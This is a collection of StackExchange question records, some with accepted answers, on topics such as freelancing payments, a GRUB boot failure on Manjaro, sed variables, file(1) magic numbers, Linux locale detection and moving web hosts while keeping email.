{  "id": "_softwareengineering.293578"  , "question": "I have started freelancing for couple of weeks and have done few projects.While doing it I found myself in risky situation when client ask progress and also want to see it done. which means I have to send them what work I done to the date. So they can know their project is on progress and will be completed on time.But on the other end If I send them almost done project and if they think they don't need my help they could just leave the project without paying.One thing I have been thinking is to ask for small Milestone payment before every regular progress. (What if they want update everyday?)It is possible to have bug while project is on progress and they might refuse to pay subsequent milestone.So..How do you report and demonstrate project without risk of losing code (work done) before you are paid? (In situation where you are freelancing and client is at remote location)"  , "title": "Demonstrate or Report a project to Client while freelancing"  , "tags": "freelancing;client relations"  , "accepted_answer": "First of all I would recommend doing either up front payments (for small amounts, which I define < $1000) or milestone payments with clearly defined milestone, so you aren't worried about being paid and they aren't worried about you walking off with the money without doing any work. Now it depends on what you are working on as to how to keep the client up to date. Often it is good enough to send an email saying I've finished X and Y and have started on Z.If you are doing a web project you can have a test server that has the latest progress running that they can look at. You can also use something like Trello which gives them a visual on the tasks/features that you have done, are currently working on, and still pending.Clear communication is necessary right from the word go. Agree on exactly what you will be delivering and when, and have it in writing. They will change their minds. That's natural, and as good customer service you should change what you are delivering to meet their needs, but the agreement will give you the leverage to actually get paid for what you have done, rather than having them say I didn't ask for that I'm not paying. This also requires you to be reliable and deliver things when you say you are going to. And as soon as you think you won't make that deadline, you need to say something and make them aware of the fact that it is taking longer than expected."  } 
{  "id": "_webmaster.105490"  , "question": "I couldn't find the exact answer  for this particular issue. I have two add-on domains https://domain001.com and https://domain002.com hosted in /public_html/domain001/ and public_html/domain002/A little background: I had to place robots.txt file for domain001.com in /public_html/ because for some reason I hadn't been able to verify the robots.txt file in google search console when I placed it in /public_html/domain001/.Now domain002.com is using robots.txt file of domain001.com, although I have a separate robots.txt file for domain002.com in /public_html/domain002/.As I've learned from similar topics here, I need to conditionally serve a different robots.txt file based on which domain has been accessed. How can I do that? What code should I place in .htaccess? I'm not a developer. So I would greatly appreciate if you provided more details in your answers.Thank you for your time.P.S. I'm using wordpress."  , "title": "How to serve a corresponding robots.txt file for each website in the same directory?"  , "tags": "wordpress;robots.txt"  } 
{  "id": "_unix.315114"  , "question": "I've installed a new Manjaro Linux 16.06.1 on an Aspire V15 Nitro Vn7-572G-56VP. Before, there was a Linpus Linux installed. I recreated all partitions and installed Manjaro. I also attempted the manual grub install from https://wiki.manjaro.org/index.php/Restore_the_GRUB_Bootloader . grub-install --recheck ran without errors.But now the laptop boots and cannot find any bootable media. No grub boot menu is shown.I also tried enabling Secure Boot and adding grubx64.efi to the trusted files.What can I do?Here is some info that might be useful (sda is an SSD, sdb is a HDD):>>> bootinfoscript                  Boot Info Script 0.61      [1 April 2012]============================= Boot Info Summary: =============================== => Grub Legacy is installed in the MBR of /dev/sda and looks at sector     59737416 of the same hard drive for the stage2 file, but no stage2 files     can be found at this location.. => No boot loader is installed in the MBR of /dev/sdb.sda1: __________________________________________________________________________    File system:       vfat    Boot sector type:  FAT32    Boot sector info:  No errors found in the Boot Parameter Block.    Operating System:      Boot files:        /efi/manjaro/grubx64.efisda2: __________________________________________________________________________    File system:       ext4    Boot sector type:  -    Boot sector info:     Operating System:  Manjaro Linux () ()    Boot files:        /boot/grub/grub.cfg /etc/fstab                        /boot/syslinux/syslinux.cfgsdb1: __________________________________________________________________________    File system:       ext4    Boot sector type:  -    Boot sector info:     Operating System:      Boot files:        ============================ Drive/Partition Info: =============================Drive: sda _____________________________________________________________________Disk /dev/sda: 238.5 GiB, 256060514304 bytes, 500118192 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: gptPartition  Boot  Start Sector    End Sector  # of Sectors  Id System/dev/sda1                   1   500,118,191   500,118,191  ee GPTGUID Partition Table detected.Partition    Start Sector    End Sector  # of Sectors System/dev/sda1           2,048     8,390,655     8,388,608 EFI System partition/dev/sda2       8,390,656   500,117,503   491,726,848 Data partition (Linux)Drive: sdb _____________________________________________________________________Disk /dev/sdb: 465.8 GiB, 500107862016 bytes, 976773168 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisklabel type: gptPartition  Boot  Start Sector    End Sector  # of Sectors  Id System/dev/sdb1                   1   976,773,167   976,773,167  ee GPTGUID Partition Table detected.Partition    Start Sector    End Sector  # of Sectors System/dev/sdb1           2,048   976,773,119   976,771,072 Data partition (Linux)blkid output: ________________________________________________________________Device           UUID                                   TYPE       LABEL/dev/loop0                                              squashfs   /dev/loop1                                              squashfs   /dev/loop2                                              squashfs   /dev/loop3                                              squashfs   /dev/sda1        D422-C962                              vfat       /dev/sda2        b30147d2-e13f-4651-9263-60341c46de25   ext4       linux/dev/sdb1        0bac8e21-a536-4061-9986-2abea769d215   ext4       hdd/dev/sr0         2016-06-11-22-41-35-00                 iso9660    MJRO1606================================ Mount points: =================================Device           Mount_Point              Type       Options/dev/sr0         /bootmnt                 iso9660    (ro,noatime)=========================== sda2/boot/grub/grub.cfg: ===========================--------------------------------------------------------------------------------## DO NOT EDIT THIS FILE## It is automatically generated by grub-mkconfig using templates# from /etc/grub.d and settings from /etc/default/grub#### BEGIN /etc/grub.d/00_header ###insmod part_gptinsmod part_msdosif [ -s $prefix/grubenv ]; then  load_envfiif [ ${next_entry} ] ; then   set default=${next_entry}   set next_entry=   save_env next_entry   set boot_once=trueelse   set default=${saved_entry}fiif [ x${feature_menuentry_id} = xy ]; then  menuentry_id_option=--idelse  menuentry_id_option=fiexport menuentry_id_optionif [ ${prev_saved_entry} ]; then  set saved_entry=${prev_saved_entry}  save_env saved_entry  set prev_saved_entry=  save_env prev_saved_entry  set boot_once=truefifunction savedefault {  if [ -z ${boot_once} ]; then    saved_entry=${chosen}    save_env saved_entry  fi}function load_video {  if [ x$feature_all_video_module = xy ]; then    insmod all_video  else    insmod efi_gop    insmod efi_uga    insmod ieee1275_fb    insmod vbe    insmod vga    insmod video_bochs    insmod video_cirrus  fi}set menu_color_normal=light-gray/blackset menu_color_highlight=green/blackif [ x$feature_default_font_path = xy ] ; then   font=unicodeelseinsmod part_gptinsmod ext2set root='hd0,gpt2'if [ x$feature_platform_search_hint = xy ]; then  search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25else  search --no-floppy --fs-uuid --set=root b30147d2-e13f-4651-9263-60341c46de25fi    font=/usr/share/grub/unicode.pf2fiif loadfont $font ; then  set gfxmode=auto  load_video  insmod gfxterm  set locale_dir=$prefix/locale  set lang=en_US  insmod gettextfiterminal_input consoleterminal_output gfxterminsmod part_gptinsmod ext2set root='hd0,gpt2'if [ x$feature_platform_search_hint = xy ]; then  search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25else  search --no-floppy --fs-uuid --set=root b30147d2-e13f-4651-9263-60341c46de25fiinsmod pngbackground_image -m stretch /usr/share/grub/background.pngif [ x$feature_timeout_style = xy ] ; then  set timeout_style=menu  set timeout=5# Fallback normal timeout code in case the timeout_style feature is# unavailable.else  set timeout=5fi### END /etc/grub.d/00_header ###### BEGIN /etc/grub.d/10_linux ###menuentry 'Manjaro Linux' --class manjaro --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-b30147d2-e13f-4651-9263-60341c46de25' {    savedefault    load_video    set gfxpayload=keep    insmod gzio    insmod part_gpt    insmod ext2    set root='hd0,gpt2'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25    else      search --no-floppy --fs-uuid --set=root b30147d2-e13f-4651-9263-60341c46de25    fi    echo    'Loading Linux 4.4.13-1-MANJARO x64 ...'    linux    /boot/vmlinuz-4.4-x86_64 root=UUID=b30147d2-e13f-4651-9263-60341c46de25 rw  quiet splash    echo    'Loading initial ramdisk ...'    initrd    /boot/intel-ucode.img /boot/initramfs-4.4-x86_64.img}submenu 'Advanced options for Manjaro Linux' $menuentry_id_option 'gnulinux-advanced-b30147d2-e13f-4651-9263-60341c46de25' {    menuentry 'Manjaro Linux (Kernel: 4.4.13-1-MANJARO x64)' --class manjaro --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.13-1-MANJARO x64-advanced-b30147d2-e13f-4651-9263-60341c46de25' {    savedefault        load_video        set gfxpayload=keep        insmod gzio        insmod part_gpt        insmod ext2        set root='hd0,gpt2'        if [ x$feature_platform_search_hint = xy ]; then          search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25        else          search --no-floppy --fs-uuid --set=root b30147d2-e13f-4651-9263-60341c46de25        fi        echo    'Loading Linux 4.4.13-1-MANJARO x64 ...'        linux    /boot/vmlinuz-4.4-x86_64 root=UUID=b30147d2-e13f-4651-9263-60341c46de25 rw  quiet splash        echo    'Loading initial ramdisk ...'        initrd    /boot/intel-ucode.img /boot/initramfs-4.4-x86_64.img    }    menuentry 'Manjaro Linux (Kernel: 4.4.13-1-MANJARO x64 - fallback initramfs)' --class manjaro --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.13-1-MANJARO x64-fallback-b30147d2-e13f-4651-9263-60341c46de25' {        load_video        set gfxpayload=keep        insmod gzio        insmod part_gpt        insmod ext2        set root='hd0,gpt2'        if [ x$feature_platform_search_hint = xy ]; then          search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25        else          search --no-floppy --fs-uuid --set=root b30147d2-e13f-4651-9263-60341c46de25        fi        echo    'Loading Linux 4.4.13-1-MANJARO x64 ...'        linux    /boot/vmlinuz-4.4-x86_64 root=UUID=b30147d2-e13f-4651-9263-60341c46de25 rw  quiet splash        echo    'Loading initial ramdisk ...'        initrd    /boot/intel-ucode.img /boot/initramfs-4.4-x86_64-fallback.img    }}### END /etc/grub.d/10_linux ###### BEGIN /etc/grub.d/20_linux_xen ###### END /etc/grub.d/20_linux_xen ###### BEGIN /etc/grub.d/30_os-prober ###### END /etc/grub.d/30_os-prober ###### BEGIN /etc/grub.d/40_custom #### This file provides an easy way to add custom menu entries.  Simply type the# menu entries you want to add after this comment.  Be careful not to change# the 'exec tail' line above.### END /etc/grub.d/40_custom ###### BEGIN /etc/grub.d/41_custom ###if [ -f  ${config_directory}/custom.cfg ]; then  source ${config_directory}/custom.cfgelif [ -z ${config_directory} -a -f  $prefix/custom.cfg ]; then  source $prefix/custom.cfg;fi### END /etc/grub.d/41_custom ###### BEGIN /etc/grub.d/60_memtest86+ ###if [ ${grub_platform} == pc ]; then    menuentry Memory Tester (memtest86+) --class memtest86 --class gnu --class tool {        search --fs-uuid --no-floppy --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  b30147d2-e13f-4651-9263-60341c46de25        linux16 /boot/memtest86+/memtest.bin     }fi### END /etc/grub.d/60_memtest86+ ###--------------------------------------------------------------------------------=============================== sda2/etc/fstab: ================================--------------------------------------------------------------------------------# /etc/fstab: static file system information.## Use 'blkid' to print the universally unique identifier for a device; this may# be used with UUID= as a more robust way to name devices that works even if# disks are added and removed. See fstab(5).## <file system>                           <mount point>  <type>  <options>  <dump>  <pass>UUID=0bac8e21-a536-4061-9986-2abea769d215 /hdd           ext4    defaults,noatime 0       2UUID=b30147d2-e13f-4651-9263-60341c46de25 /              ext4    defaults,noatime,discard 0       1UUID=7D0D-278F                            /boot/efi      vfat    defaults,noatime 0       2tmpfs                                     /tmp           tmpfs   defaults,noatime,mode=1777 0       0--------------------------------------------------------------------------------======================= sda2/boot/syslinux/syslinux.cfg: =======================--------------------------------------------------------------------------------# Config file for Syslinux -# /boot/syslinux/syslinux.cfg## Comboot modules:#   * menu.c32 - provides a text menu#   * vesamenu.c32 - provides a graphical menu#   * chain.c32 - chainload MBRs, partition boot sectors, Windows bootloaders#   * hdt.c32 - hardware detection tool#   * reboot.c32 - reboots the system## To Use: Copy the respective files from /usr/lib/syslinux to /boot/syslinux.# If /usr and /boot are on the same file system, symlink the files instead# of copying them.## If you do not use a menu, a 'boot:' prompt will be shown and the system# will boot automatically after 5 seconds.## Please review the wiki: https://wiki.archlinux.org/index.php/Syslinux# The wiki provides further configuration examplesDEFAULT archPROMPT 0        # Set to 1 if you always want to display the boot: promptTIMEOUT 50# You can create syslinux keymaps with the keytab-lilo tool#KBDMAP de.ktl# Menu Configuration# Either menu.c32 or vesamenu32.c32 must be copied to /boot/syslinuxUI menu.c32#UI vesamenu.c32# Refer to http://syslinux.zytor.com/wiki/index.php/Doc/menuMENU TITLE Arch Linux#MENU BACKGROUND splash.pngMENU COLOR border       30;44   #40ffffff #a0000000 stdMENU COLOR title        1;36;44 #9033ccff #a0000000 stdMENU COLOR sel          7;37;40 #e0ffffff #20ffffff allMENU COLOR unsel        37;44   #50ffffff #a0000000 stdMENU COLOR help         37;40   #c0ffffff #a0000000 stdMENU COLOR timeout_msg  37;40   #80ffffff #00000000 stdMENU COLOR timeout      1;37;40 #c0ffffff #00000000 stdMENU COLOR msg07        37;40   #90ffffff #a0000000 stdMENU COLOR tabmsg       31;40   #30ffffff #00000000 std# boot sections follow## TIP: If you want a 1024x768 framebuffer, add vga=773 to your kernel line.##-*LABEL arch    MENU LABEL Arch Linux    LINUX ../vmlinuz-linux    APPEND root=/dev/sda3 rw    INITRD ../initramfs-linux.imgLABEL archfallback    MENU LABEL Arch Linux Fallback    LINUX ../vmlinuz-linux    APPEND root=/dev/sda3 rw    INITRD ../initramfs-linux-fallback.img#LABEL windows#        MENU LABEL Windows#        COM32 chain.c32#        APPEND hd0 1LABEL hdt        MENU LABEL HDT (Hardware Detection Tool)        COM32 hdt.c32LABEL reboot        MENU LABEL Reboot        COM32 reboot.c32LABEL poweroff        MENU LABEL Poweroff        COM32 poweroff.c32--------------------------------------------------------------------------------=================== sda2: Location of files loaded by Grub: ====================           GiB - GB             File                                 Fragment(s)================= sda2: Location of files loaded by Syslinux: ==================           GiB - GB             File                                 Fragment(s)=============================== StdErr Messages: ===============================cat: /tmp/BootInfo-NjjdvYuk/Tmp_Log: No such file or directorycat: /tmp/BootInfo-NjjdvYuk/Tmp_Log: No such file or directorymdadm: No arrays found in config file or automaticallyand>>> ls -R /boot/efils -R /boot/efi/boot/efi:EFI/boot/efi/EFI:manjaro/boot/efi/EFI/manjaro:grubx64.efi"  , "title": "No bootable medium after installing grub on laptop Acer Aspire"  , "tags": "boot;grub;manjaro"  } 
{  "id": "_unix.312864"  , "question": "While installing Ubuntu 16.04 I decided to take the option of encrypting my home directory. I also use ssh key-only authorization, as password logins are disabled for security.I was able to solve the not being able to log in because .ssh/authorized_keys issue using this: https://stephen.rees-carter.net/thought/encrypted-home-directories-ssh-key-authentication. In summary:sudo vim ~/.profileand then enteringecryptfs-mount-privatecd /home/usernameBut now, X11 forwarding over ssh is broken. It appears the MMC (MIT Magic Cookie) .Xauthority file is not making it into the un-encrypted home directory."  , "title": "Encrypted Home Directory and SSH (Key-Only-Authentication) breaks X11 forwarding"  , "tags": "ssh;x11;sshd;ecryptfs;xforwarding"  } 
{  "id": "_unix.143709"  , "question": "I find the following way to print line from fileIn this example we want to print the first line from the hosts file sed -n '1,1p'  /etc/hosts127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4But how to do the same with parameters inside the sed commandFor exampleLine_number=1sed -n ' $Line_number,$Line_numberp'  /etc/hosts sed: -e expression #1, char 4: extra characters after commandwhat is wrong in my sed syntax?"  , "title": "Sed + how to set parameters in sed command in order to display lines from text file"  , "tags": "linux;sed;awk;ksh"  , "accepted_answer": "Let your shell expand the variable by using  instead of '.Example:victor@pyfg:~$ line_number=2victor@pyfg:~$ sed -n ${line_number},${line_number}p /etc/hosts1.2.3.4 row-2Since you're only printing a single row, you can just to it like this also:victor@pyfg:~$ sed -n ${line_number}p /etc/hosts1.2.3.4 row-2"  } 
{  "id": "_webapps.103201"  , "question": "I have a data source with multiple cells that contain 1 or sometimes more variables (separated by comma). I have some basic data in the first few columns that I would like to be present in each row (Salutation and name in the example), but I would like to make a new row for each variable in each multi-line cell. Also, for each column that has cells with comma separated variables, there's an adjacent label (in this case Label 1 & label 2) I'd like to keep those.Best case, I'd really like the data to look like this, with all the empty spaces gone. I've found scripts that work to separate a multi-line cell into separate rows keeping adjacent data. However, I've tried & tried, but I cannot figure out how to edit these scripts so they work for a data source with multiple multi line/variable cells. Help?"  , "title": "Google Scripts: Split multiple multi-line cells into separate rows keeping adjacent data"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_cs.76305"  , "question": "I am training a Variational Autoencoder (type of convolutional neural network), and have been plotting cost over time. The result is a noisy curve, shown here:I would like to write a function that gives the probability that the cost function has bottomed out, i.e. that its slope going into the future is zero. Due to the noise, I can't just take the derivative of the cost function, as it oscillates stochastically. I could take the derivative of the moving average of the cost function, but it would be unclear what window size to use, and regardless a single window size would be useful for only part of the line (the noise tends to increase over time).Is there some mathematical function/theorem I can use to take the local noise of the curve into account, and output a range/distribution of probable slopes? I would imagine the output being something like a histogram with the most likely slope at the middle and increasingly less-likely slopes off on the sides."  , "title": "Given a Noisy Curve, Write a Function to Output Likely Slopes"  , "tags": "optimization;neural networks;approximation;randomness"  , "accepted_answer": "A moving window (with some reasonable window size) is probably hard to beat.  I don't know of any parameter-less solution.  Another possible approach could be to estimate the slope of the last 10% of the data, and compare this to some threshold.  (So, the 1000th data point uses the average of points 900-1000.  The 2000th data point uses the average of points 1800-2000.  And so on.)  This way, if it does flatten out, then if you continue for another 10% longer, you'll reach a point where the last 10% is all flat and the procedure will likely terminate.  This may do 10% more iterations than necessary, but that might be acceptable given that in return you get a procedure that doesn't require a fixed window size.However, choosing a threshold might be a bit tricky.  I'm not sure how to do that in a reasonable way.Given a bunch of data points, you can compute a least-squares fit for the regression line through those points, and find an estimate of the slope of that line.  You can also compute a confidence interval for that slope.  This will give you a range of plausible slopes."  } 
{  "id": "_webmaster.105765"  , "question": "We had more than 500 pages indexed, we are a relatively new site but I think we have good content so Google was ok with our pages.Most of this pages were profiles and had a url structure like /place/place/workOne of our engineers changed the url structure and with that, updated the sitemap.The old url's starting throwing 404 because he didn't put any 301 redirection to the new ones and Google was not happy at all about this.Google de inxeded most of the pages and now we have only 75 indexed and 10 of them are profiles.This engineer was obviously at fault, but 2 weeks have passed and our indexed pages are still 75.Any tip on this? We have put a lot of effort for this pages to be seo friendly but it seems google dont trust us anymore :(Thanks!"  , "title": "Accident with a lot of indexed pages - Google is not happy"  , "tags": "seo;sitemap;indexing;negative seo"  } 
{  "id": "_unix.244502"  , "question": "I'm running file against a wallet.dat file (A file that Bitcoin keeps its private keys in) and even though there doesn't seem to be any identifiable header or string, file can still tell that it's a Berkley DB file, even if I cut it down to 16 bytes.I know that file was applying some sort of rule or searching for some sequence to identify it. I want to know what the rule it's applying here is, so that I can duplicate it in my own program."  , "title": "How did file identify this particular file?"  , "tags": "file command"  , "accepted_answer": "Grab the source of the file command. Most if not all open sources unices use this one. The file command comes with the magic database, named after the magic numbers that it describes. (This database is also installed on your live system, but in a compiled form.) Look for the file that contains the description text that you see:grep 'Berkeley DB' magic/Magdir/*The magic man page describes the format of the file. The trigger lines for Berkeley DB are0       long    0x00061561      Berkeley DB0       belong  0x00061561      Berkeley DB12      long    0x00061561      Berkeley DB12      belong  0x00061561      Berkeley DB12      lelong  0x00061561      Berkeley DB12      long    0x00053162      Berkeley DB12      belong  0x00053162      Berkeley DB12      lelong  0x00053162      Berkeley DB12      long    0x00042253      Berkeley DB12      belong  0x00042253      Berkeley DB12      lelong  0x00042253      Berkeley DB12      long    0x00040988      Berkeley DB12      belong  0x00040988      Berkeley DB 12      lelong  0x00040988      Berkeley DBThe first column specifies the offset at which a certain byte sequence is to be found. The third column contains the byte sequence. The second column describes the type of byte sequence: long means 4 bytes in the platform's endianness; lelong and belong mean 4 bytes in little-endian and big-endian order respectively.Rather than replicate the rules, you may want to call the file utility; it's specified by POSIX, but the formats that it recognizes and the descriptions that it outputs aren't. Alternatively, you can link to libmagic and call the magic_file or magic_buffer function."  } 
{  "id": "_webmaster.87915"  , "question": "I've been working with the event capture in dhis2 and looks like it is far less polished than the data entry part. Right now in the data entry if you choose to use a data element of type file a button to upload the file appears there.When you use a data element of type file on event capture a text field appears instead (and looks like it expects the id of the file to be put there), but no way to upload the file first. The only way I've seen to do this is to first upload the file inside the form using the dhis api, retrieve the id and put it automatically on the field (but still quite not sure about how this could be done).I was wondering if there was an easier way or if someone faced the same problem or if there is an easier way that I missed to do this. (seems like quite a complex way to just upload a file)Thanks for your time!"  , "title": "DHIS2 - How to attach files in event captures?"  , "tags": "dhis2"  } 
{  "id": "_vi.2906"  , "question": "Vim has some fancy pants indentation stuff. When it works right it's a pleasure to have, but sometimes it just drives me nuts. One that I've never been able to solve has to do with LaTeX syntax.Lets say you have this file:This is a test paragraph. Most of it is innocuous, but the \\textit{inline markup code happens to fall over a line break} which is a problem.% vim: autoindent textwidth=79 ft=texIf you put your cursor in the first line and hit gqip to reformat the paragraph, it will format it like this:This is a test paragraph. Most of it is innocuous, but the \\textit{inline    markup code happens to fall over a line break} which is a problem.But what I would like is this:This is a test paragraph. Most of it is innocuous, but the \\textit{inlinemarkup code happens to fall over a line break} which is a problem.Of course I still do want it to auto-indent when I hit enter on a line ending in { (or {%. I also want to follow the indent of the previous line, so if I reformat:    This is a test paragraph. Most of it is innocuous, but the \\textit{inline markup code happens to fall over a line break} which is a problem.I would like:    This is a test paragraph. Most of it is innocuous, but the \\textit{inline    markup code happens to fall over a line break} which is a problem.Is there a way I can correct only the use case behavior of formatting paragraphs that have inline markup without affecting other usage scenarios?"  , "title": "How can I fix the auto indentation in LaTeX?"  , "tags": "indentation;plugin atp"  } 
{  "id": "_codereview.158771"  , "question": "I just started watching some regex tutorials on Plural Sight just to learn how to write a proper regex expression. So far so good, it's been alright and I decided to test my knowledge on Hackerrank. Although, the tutorial explains how to use PCRE (Perl Compatible Regular Expressions) and ECMAScript engines but I'm comfortable using PCRE at the moment so hence my code is running on PHP.A brief overview of the question is:TaskYou have a test string S. Your task is to match the pattern XXxXXxXX  Here, x denotes whitespace characters, and X denotes non-white space characters.NoteThis is a regex only challenge. You are not required to write code.   You have to fill the regex pattern in the blank (_________).$handle = fopen (php://stdin,r);$Test_String = fgets($handle);if(preg_match($Regex_Pattern, $Test_String, $output_array)){    print (true);} else {    print (false);}fclose($handle);?>I don't really know much about PHP, all I had to do was fill in the blank so I wrote 2 test cases to see how my regex was doing so far in regex 101 e.g AA AA AA, BB BB BC.$Regex_Pattern = /\\S{2}\\s{1}\\S{2}\\s{1}\\S{2}/; //Do not delete '/'. Replace __________ with your regex.Final thoughts: I'm fully aware the example isn't meant to be complicated as it's meant to show how to use \\S and \\s. I attempted using [\\S\\s]+\\S{2}$ but that wasn't greedy enough as it permits multiple spacing.Are there more refined ways to do this without using \\S & \\s and if S &\\s can be used differently to achieve the same results?"  , "title": "Matching whitespace and non-whitespace characters with RegEx"  , "tags": "php;programming challenge;regex"  } 
{  "id": "_unix.295245"  , "question": "Is there any way, in Python 3, to find out the language used by the system?Even a tricky one though, like: reading from a file in a sneaky directory, and finding the string 'ENG' or 'FRE' within the file's content"  , "title": "How to find system language within Python?"  , "tags": "locale;python3;system information"  , "accepted_answer": "Unix systems don't really have a system language. Unix is a multiuser system and each user is free to pick their preferred language. The closest thing to a system language is the default language that users get if they don't configure their account. The location of that setting varies from distribution to distribution; it's picked up at some point during the login process.In most cases, what is relevant is not the system language anyway, but the language that the user wants the application to use. Language preferences are expressed through locale settings. The setting that determines the language that applications should use in their user interface is LC_MESSAGES. There are also settings for the date, currency, etc. These settings are conveyed through environment variables which are usually set when the user logs in from some system- and user-dependent file.Finding a locale setting is a bit more complicated than reading the LC_MESSAGES variable as several variables come into play (see What should I set my locale to and what are the implications of doing so?). There's a standard library function for that. In Python, use locale.getlocale. You first need to call setlocale to turn on locale awareness.import localelocale.setlocale(locale.LC_ALL, )message_language = locale.getlocale(locale.LC_MESSAGES)[0]"  } 
{  "id": "_unix.185905"  , "question": "I do not have programming experience, but I understand how a shell script works theoretically. There are only two steps important to make a script executable, I have to tell the shell how to interpret the contents of thescript by writing a #!/path/to/interpreter,I have to give the permission to execute the file by chmod+x filename.So far, I can understand it, but how do real programs that contain many files and are zipped in a .tar.gz package differ from this kind of installation, what are important steps the Linux needs to do behind the curtain in order to make the program executable? Or in short: What is the very meaning of installing in Linux ? "  , "title": "What does the term 'installation' or 'install' mean when used in connection with Linux software?"  , "tags": "linux;software installation"  , "accepted_answer": "The installation of a Unix program consists of roughly two parts.1) Putting the files in suitable locations2) Setting file permissions and ownerships suitablyWith regard to the first, the Linux File Hierarchy Standard is relevant. This is Linux specific, but largely follows historically codified Unix rules. Specifically, binaries intended to be run by the user are placed in /usr/bin, system level binaries for adminstration etc. are placed in /bin, locally installed binaries are typically places in /usr/local/bin, etc. These are places that the system looks where to look at runtime, based on the PATH, variable, which on Debian is /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. Similarly, libraries are placed in specific locations, /usr/lib, /lib, /usr/local/bin etc. following similar rules. Again, by default, the system is designed to look in these directories at runtime.There are other specified locations for placing documentation (including man pages) and data files, but these are not so critical to system functioning.As regards the second, files in the different parts of the system have different ownerships and permissions. While most files are owned by root, the associated group varies.The actual machinery of an installation varies, but is usually handled by the install target of a build system. The most common build systems for free Unix-like systems like the Linux-based systems are Autotools and Cmake.There is also usually an extra layer. Normally Linux systems have a binary package manager. These packages are usually built by invoking the installation target, but instead of installing the files into the system, they are installed into a temporary directory as part of the process of building the binary package.For Debian, this is usually the debian/tmp subdirectory of the source directory.Installing a binary package into the system has numerous advantages over a local installation, notably tracking which files belong to which package/software, and also handling package/software removals in a clean and reliable way. While build systems may have an uninstall target, this is not such a reliable way of handling uninstalls."  } 
{  "id": "_unix.345856"  , "question": "After hitting the sleep or hibernate buttons (equivalent of xfce4-session-logout -s), my screen doesn't switch on when I'm trying to wake my computer up. The computer seems to run correctly since I can heard the sound of the video I was playing before I put the computer into standby mode.I thought it was a screen luminosity problem but I see the screen when I switch between tty.I have to logout through keyboard shortcut (ctrl+alt+del in arch-linux) or hard-reboot on order to be able to use my computerI have found a hack which seems to solve this problem, in order to sleep my computer I can use sudo echo mem > /sys/power/state as it's explained in kernel's power-state documentation.But since it's not the equivalent of the previous sleep method, I'm wondering what is the problem.You will find the logs associated to the both previous commands exported through journalctl --since xx command, as a gist here.Note: I used a different user for those two sleep methods (root for echo mem > ... and the current user (aldo) for the classic one. But executing xfce4-session-logout -s as sudoer didn't change anything) computer specs:$ cat /etc/*-releaseArch Linux releaseLSB_VERSION=1.4DISTRIB_ID=ArchDISTRIB_RELEASE=rollingDISTRIB_DESCRIPTION=Arch LinuxNAME=Antergos LinuxVERSION=16.11-Minimal-ISO-Rolling$ echo $DESKTOP_SESSIONxfce$ lspci -vnn | grep VGA -A 1200:02.0 VGA compatible controller [0300]: Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display [8086:0f31] (rev 0c) (prog-if 00 [VGA controller])    Subsystem: ASUSTeK Computer Inc. Device [1043:15bd]    Flags: bus master, fast devsel, latency 0, IRQ 91    Memory at d0000000 (32-bit, non-prefetchable) [size=4M]    Memory at c0000000 (32-bit, prefetchable) [size=256M]    I/O ports at f080 [size=8]    [virtual] Expansion ROM at 000c0000 [disabled] [size=128K]    Capabilities: [d0] Power Management version 2    Capabilities: [90] MSI: Enable+ Count=1/1 Maskable- 64bit-    Capabilities: [b0] Vendor Specific Information: Len=07 <?>    Kernel driver in use: i915    Kernel modules: i915"  , "title": "Computer's screen doesn't switch on after waking up"  , "tags": "arch linux;xfce"  } 
{  "id": "_webmaster.6022"  , "question": "I haven't done this before so I gotta ask.I'm doing a site for a client. The current site is done in PHP, and I'll do it in ASP.NET.Now, the current hosting service does not support ASP.NET code, so I'll have to change the hosting provider, and that's fine, BUT, the client SPECIFICALLY asked that the email adresses stay the same.Is this doable and if yes, how?So only the hosting provider changes, the domain name stays the same.Tnx for your time!Andrej"  , "title": "Change host / keep emails"  , "tags": "web hosting;email"  , "accepted_answer": "1) Create the email accounts on the new server2) Have the customer download any emails they wish to keep off of the old server (if they haven't done so already)3) After business hours change the DNS records to reflect the new host's nameservers (and by extensions MX records)4) If the mail settings have changed, have the customer update their email client to connect to the new mail server.5) Some emails may still get routed to the old server. Have the customer check this by either using webmail (if available) or using their old IP address for the mail server."  } 
